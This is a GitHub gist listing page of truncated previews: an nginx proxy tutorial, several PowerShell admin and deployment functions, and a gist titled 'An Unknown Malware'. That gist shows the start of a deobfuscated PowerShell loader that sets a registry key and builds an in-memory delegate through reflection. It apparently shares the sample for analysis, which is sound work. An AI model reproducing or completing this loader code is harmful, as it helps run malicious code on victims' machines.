Skip to content

Instantly share code, notes, and snippets.

@NathanTheGr8
NathanTheGr8 / nginxproxy.md
Created May 28, 2017 02:53 — forked from soheilhy/nginxproxy.md
How to proxy web apps using nginx?

Virtual Hosts on nginx (CSC309)

When hosting our web applications, we often have one public IP address (i.e., an IP address visible to the outside world) using which we want to host multiple web apps. For example, one may wants to host three different web apps respectively for example1.com, example2.com, and example1.com/images on the same machine using a single IP address.

How can we do that? Well, the good news is Internet browsers

Function Get-ADGroupsDifference {
<#
.SYNOPSIS
PowerShell function intended to compare group membership for two Active Directory users.
.DESCRIPTION
Using this function you can compare groups membership for two users Active Directory users.
The first is reference user, the second is compared with it and as the result groups different for both users will be displayed.
@NathanTheGr8
NathanTheGr8 / Manifest.psm1
Created August 25, 2017 20:02 — forked from Jaykul/Manifest.psm1
Update Module Version ... or anything else
function Update-Manifest {
#.Synopsis
# Update a PowerShell module manifest
#.Description
# By default Update-Manifest increments the ModuleVersion, but it can set any key in the Module Manifest, its PrivateData, or the PSData in PrivateData.
#
# NOTE: This cannot currently create new keys, or uncomment keys.
#.Example
# Update-Manifest .\Configuration.psd1
#
function Copy-ItemWithBITS {
<#
.SYNOPSIS
Copy-Item using the BITS protocol
.DESCRIPTION
Works like the copy-item cmdlet but uses the Background Intelligent Transfer Service (BITS) protocol
.PARAMETER Source
The Path to the file/directory you want to transfer
.PARAMETER Destination
The path to where you want to transfer to
function Select-Nth {
<#
.SYNOPSIS
Seletc the Nth element in an array
.DESCRIPTION
Selects the Nth Element in an array. Like the 3rd, 5th, 98th, etc
.PARAMETER N
The Nth element you want to select
############################
### CDOLLA CDOLLA CDOLLA ###
### CDOLLA CDOLLA CDOLLA ###
### CDOLLA CDOLLA CDOLLA ###
### CDOLLA CDOLLA CDOLLA ###
############################
###
###
function Schedule-SCCMPackageDeployment
{
<#
.SYNOPSIS
.DESCRIPTION
requires \\spivsccm01\packages mounted as p Drive
.PARAMETER App
@NathanTheGr8
NathanTheGr8 / Example_App.exe.manifest
Created June 26, 2018 16:07 — forked from leeramsay/PSADT-Cheatsheet.ps1
PSADT snippits/cheatsheet
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<assembly xmlns="urn:schemas-microsoft-com:asm.v1" manifestVersion="1.0">
<assemblyIdentity version="1.0.0.0"
processorArchitecture="X86"
name="Example_App.exe"
type="win32"/>
<description>elevate execution level</description>
<trustInfo xmlns="urn:schemas-microsoft-com:asm.v2">
<security>
<requestedPrivileges>
@NathanTheGr8
NathanTheGr8 / decoded_original.ps1
Created August 6, 2018 15:01
An Unknown Malware
$SEf8caWj = "HKLM:\Software\Microsoft\Windows\CurrentVersion\Shell";$lZ7VgLztH = "{4FF23B38-C5A1-5CBE-F25D458E1F8C5642}";function ogbehJFrvi{Param([OutputType([Type])][Parameter( Position = 0)][Type[]]$jbvI6kAQ = (New-Object Type[](0)),[Parameter( Position = 1 )][Type]$TnlpqF = [Void])$SDaRf4 = [AppDomain]::CurrentDomain;$gV2cj6vD = New-Object System.Reflection.AssemblyName('ReflectedDelegate');$koQPMj5 = $SDaRf4.DefineDynamicAssembly($gV2cj6vD, [System.Reflection.Emit.AssemblyBuilderAccess]::Run);$mQQYfW = $koQPMj5.DefineDynamicModule('InMemoryModule', $false);$OSepm3U = $mQQYfW.DefineType('MyDelegateType', 'Class, Public, Sealed, AnsiClass, AutoClass', [System.MulticastDelegate]);$GetNMD0W = $OSepm3U.DefineConstructor('RTSpecialName, HideBySig, Public', [System.Reflection.CallingConventions]::Standard, $jbvI6kAQ);$GetNMD0W.SetImplementationFlags('Runtime, Managed');$KBBPUUP = $OSepm3U.DefineMethod('Invoke', 'Public, HideBySig, NewSlot, Virtual', $TnlpqF, $jbvI6kAQ);$KBBPUUP.SetImplementationFlags('Runtime,
@NathanTheGr8
NathanTheGr8 / Get-PSADTAppVersion.ps1
Last active July 24, 2020 13:54
Get-PSADTAppVersion
function Get-PSADTAppVersion {
<#
.SYNOPSIS
Gets the $appversion varible for a given PSADT package
.DESCRIPTION
Gets the $appversion varible for a given PSADT package
Queries the Deploy-Application.ps1 file for "appversion"
Takes the first string returned. I don't care about other occerences in the file
Converts it to a string